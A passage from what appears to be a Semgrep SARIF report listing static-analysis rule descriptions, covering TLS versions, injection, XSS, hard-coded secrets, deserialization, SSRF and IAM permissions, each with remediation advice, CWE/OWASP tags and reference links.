[Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://golang.org/pkg/crypto/tls/#:~:text=MinVersion](https://golang.org/pkg/crypto/tls/#:~:text=MinVersion)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","id":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","name":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","id":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","name":"java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-printstacktrace.active-debug-code-printstacktrace"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln](https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)\n","text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","id":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","name":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","id":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","name":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","id":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","name":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","id":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","name":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"help":{"markdown":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"help":{"markdown":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write","id":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","name":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","id":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","name":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.exec-use.exec-use)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php)\n","text":"Executing non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.exec-use.exec-use","id":"php.lang.security.exec-use.exec-use","name":"php.lang.security.exec-use.exec-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.exec-use.exec-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","id":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","name":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"help":{"markdown":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n","text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host","id":"go.lang.security.injection.tainted-url-host.tainted-url-host","name":"go.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"help":{"markdown":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/](https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/)\n","text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","id":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","name":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","id":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","name":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.strings.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"help":{"markdown":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n","text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","id":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","name":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling assert with user input is equivalent to eval'ing."},"help":{"markdown":"Calling assert with user input is equivalent to eval'ing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.assert-use.assert-use)\n - [https://www.php.net/manual/en/function.assert](https://www.php.net/manual/en/function.assert)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php)\n","text":"Calling assert with user input is equivalent to eval'ing."},"helpUri":"https://semgrep.dev/r/php.lang.security.assert-use.assert-use","id":"php.lang.security.assert-use.assert-use","name":"php.lang.security.assert-use.assert-use","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.assert-use.assert-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"help":{"markdown":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n","text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","id":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","name":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"help":{"markdown":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport)\n - [https://github.com/microsoft/monaco-editor/issues/801](https://github.com/microsoft/monaco-editor/issues/801)\n","text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"helpUri":"https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","id":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","name":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 